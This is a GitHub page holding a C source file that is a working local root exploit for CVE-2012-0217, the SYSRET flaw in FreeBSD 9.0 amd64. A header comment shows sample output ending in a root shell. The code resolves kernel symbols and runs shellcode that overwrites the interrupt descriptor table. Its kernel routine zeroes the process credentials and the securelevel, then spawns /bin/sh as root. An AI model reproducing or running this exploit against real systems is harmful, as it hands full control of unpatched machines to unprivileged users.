Skip to content
Permalink
Branch: master
Find file Copy path
Find file Copy path
Fetching contributors…
Cannot retrieve contributors at this time
241 lines (199 sloc) 5.75 KB
/*
$ id
uid=1001(andersonc0d3) gid=1001(andersonc0d3) groups=1001(andersonc0d3),0(wheel)
$ uname -a
FreeBSD 9.0-RELEASE FreeBSD 9.0-RELEASE #0: Tue Jan 3 07:46:30 UTC 2012 root@farrell.cse.buffalo.edu:/usr/obj/usr/src/sys/GENERIC amd64
$ gcc CVE-2012-0217-sysret.c -o CVE-2012-0217-sysret
$ ./CVE-2012-0217-sysret
[*] idt0: 0xffffffff81183f60
[*] Xrsvd: 0xffffffff80b02f90
[*] Xdiv: 0xffffffff80b02e40
[*] Xdbg: 0xffffffff80b02de0
[*] Xnmi: 0xffffffff80b034b0
[*] Xbpt: 0xffffffff80b02e10
[*] Xofl: 0xffffffff80b02e70
[*] Xbnd: 0xffffffff80b02ea0
[*] Xill: 0xffffffff80b02ed0
[*] Xdna: 0xffffffff80b02f00
[*] Xdblfault: 0xffffffff80b03190
[*] Xfpusegm: 0xffffffff80b02f30
[*] Xtss: 0xffffffff80b03020
[*] Xmissing: 0xffffffff80b03040
[*] Xstk: 0xffffffff80b03060
[*] Xprot: 0xffffffff80b032b0
[*] Xpage: 0xffffffff80b03240
[*] Xfpu: 0xffffffff80b02fc0
[*] Xalign: 0xffffffff80b03080
[*] Xmchk: 0xffffffff80b02f60
[*] Xxmm: 0xffffffff80b02ff0
[*] done!
# id
uid=0(root) gid=0(wheel) egid=1001(andersonc0d3) groups=1001(andersonc0d3),0(wheel)
#
Written by Anderson Nascimento < andersonc0d3@gmail.com >
Tested on FreeBSD 9.0 RELEASE AMD64
*/
#define _KERNEL
#include <sys/param.h>
#include <sys/conf.h>
#include <sys/sysctl.h>
#include <sys/user.h>
#include <sys/proc.h>
#include <sys/jail.h>
#undef _KERNEL
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/linker.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <machine/segments.h>
#define ADDR (void *)0x7ffffffff000
#define IDTN 19
char payload[] = "\x48\xb8\xb7\x00\x00\x00\x00\x00\x00\x00" // mov $0xb7,%rax
"\x48\xba\x11\x22\x33\x44\x55\x66\x77\x88" // mov $0x8877665544332211,%rdx
"\x48\xbc\x11\x22\x33\x44\x55\x66\x77\x88" // mov $0x8877665544332211,%rsp
"\x0f\x05"; // syscall
struct gate_descriptor fake_idt;
struct gate_descriptor *idt;
struct kinfo_proc ki;
struct idt_entries {
int idx;
void *func;
int typ;
int dpl;
int ist;
} entries[] =
{{IDT_DE, "Xdiv", SDT_SYSIGT, SEL_KPL, 0},
{IDT_DB, "Xdbg", SDT_SYSIGT, SEL_KPL, 0},
{IDT_NMI, "Xnmi", SDT_SYSIGT, SEL_KPL, 2},
{IDT_BP, "Xbpt", SDT_SYSIGT, SEL_UPL, 0},
{IDT_OF, "Xofl", SDT_SYSIGT, SEL_KPL, 0},
{IDT_BR, "Xbnd", SDT_SYSIGT, SEL_KPL, 0},
{IDT_UD, "Xill", SDT_SYSIGT, SEL_KPL, 0},
{IDT_NM, "Xdna", SDT_SYSIGT, SEL_KPL, 0},
{IDT_DF, "Xdblfault", SDT_SYSIGT, SEL_KPL, 1},
{IDT_FPUGP, "Xfpusegm", SDT_SYSIGT, SEL_KPL, 0},
{IDT_TS, "Xtss", SDT_SYSIGT, SEL_KPL, 0},
{IDT_NP, "Xmissing", SDT_SYSIGT, SEL_KPL, 0},
{IDT_SS, "Xstk", SDT_SYSIGT, SEL_KPL, 0},
{IDT_GP, "Xprot", SDT_SYSIGT, SEL_KPL, 0},
{IDT_PF, "Xpage", SDT_SYSIGT, SEL_KPL, 0},
{IDT_MF, "Xfpu", SDT_SYSIGT, SEL_KPL, 0},
{IDT_AC, "Xalign", SDT_SYSIGT, SEL_KPL, 0},
{IDT_MC, "Xmchk", SDT_SYSIGT, SEL_KPL, 0},
{IDT_XF, "Xxmm", SDT_SYSIGT, SEL_KPL, 0}};
void *user_stack;
char *symbols[] = {"Xdiv","Xdbg","Xnmi","Xbpt","Xofl","Xbnd","Xill","Xdna","Xdblfault","Xfpusegm","Xtss","Xmissing","Xstk",
"Xprot","Xpage","Xfpu","Xalign","Xmchk","Xxmm"};
void *Xrsvd = NULL;
void *idt_func[19];
void *get_sym(char *s){
struct kld_sym_lookup sym;
sym.version = sizeof(sym);
sym.symname = s;
if(kldsym(0,KLDSYM_LOOKUP,&sym) == 0){
return (void *)sym.symvalue;
}
else{
return NULL;
}
}
void set_idt(int idx, void *func, int typ, int dpl, int ist) {
struct gate_descriptor *ip;
ip = idt + idx;
ip->gd_looffset = (uintptr_t) func;
ip->gd_selector = GSEL(GCODE_SEL, SEL_KPL);
ip->gd_ist = ist;
ip->gd_xx = 0;
ip->gd_type = typ;
ip->gd_dpl = dpl;
ip->gd_p = 1;
ip->sd_xx1 = 0;
ip->gd_hioffset = ((uintptr_t)func) >> 16;
}
void done(void){
if(getuid() == 0){
fprintf(stdout,"[*] done!\n");
execl("/bin/sh", "sh", NULL);
}
else{
fprintf(stderr,"[*] failed!\n");
}
exit(EXIT_SUCCESS);
}
void kernel_code(void){
int i;
__asm__("mov %r10,%rsp");
for (i = 0; i < 39; i++){
set_idt(i, Xrsvd, SDT_SYSIGT, SEL_KPL, 0);
}
for(i = 0; i < IDTN; i++){
set_idt(entries[i].idx,idt_func[i],entries[i].typ,entries[i].dpl,entries[i].ist);
}
ki.ki_paddr->p_ucred->cr_uid = 0;
ki.ki_paddr->p_ucred->cr_ruid = 0;
ki.ki_paddr->p_ucred->cr_prison->pr_securelevel= -1;
__asm__("mov %0,%%rsp \n"
"mov %1,%%rcx \n"
"sysretq \n" :: "r" (user_stack),"r" (&done));
}
int main(void){
void *ptr;
void *target;
void (*func_ptr)();
int i;
int arr[4];
size_t len;
if((ptr = mmap(ADDR,PAGE_SIZE,PROT_READ|PROT_WRITE|PROT_EXEC,MAP_FIXED|MAP_ANON,-1,0)) == MAP_FAILED){
perror("mmap");
exit(EXIT_FAILURE);
}
arr[0] = CTL_KERN;
arr[1] = KERN_PROC;
arr[2] = KERN_PROC_PID;
arr[3] = getpid();
len = sizeof(struct kinfo_proc);
if(sysctl(arr,4, &ki, &len, NULL, 0) < 0){
fprintf(stderr,"[!] couldn't get kinfo_proc struct\n");
exit(EXIT_FAILURE);
}
if((idt = get_sym("idt0")) == NULL){
fprintf(stderr,"[!] failed to resolve symbol: idt0\n");
exit(EXIT_FAILURE);
}
fprintf(stdout,"[*] idt0: %p\n",idt);
target = (char *)idt+594;
if((Xrsvd = get_sym("Xrsvd")) == NULL){
fprintf(stderr,"[!] failed to resolve symbol: Xrsvd\n");
exit(EXIT_FAILURE);
}
fprintf(stdout,"[*] Xrsvd: %p\n", Xrsvd);
for(i = 0; i < IDTN; i++){
if((idt_func[i] = (void *)get_sym(symbols[i])) == NULL){
fprintf(stderr,"[!] failed to resolve symbol: %s\n",symbols[i]);
exit(EXIT_FAILURE);
}
else{
fprintf(stdout,"[*] %s: %p\n",symbols[i],idt_func[i]);
}
}
fake_idt.gd_looffset = (uintptr_t)kernel_code;
fake_idt.gd_selector = 0x20;
fake_idt.gd_ist = 0x0;
fake_idt.gd_xx = 0x0;
fake_idt.gd_type = 0xe;
fake_idt.gd_dpl = 0x0;
fake_idt.gd_p = 0x1;
fake_idt.gd_hioffset = ((uintptr_t)kernel_code >> 16);
fake_idt.sd_xx1 = 0x0;
__asm__("movq %%rsp,%0":"=m" (user_stack));
memcpy(payload+12,&fake_idt,8);
memcpy(payload+22,&target,8);
ptr+= (PAGE_SIZE-32);
memcpy(ptr,payload,32);
func_ptr = ptr;
func_ptr();
return 0;
}
You can’t perform that action at this time.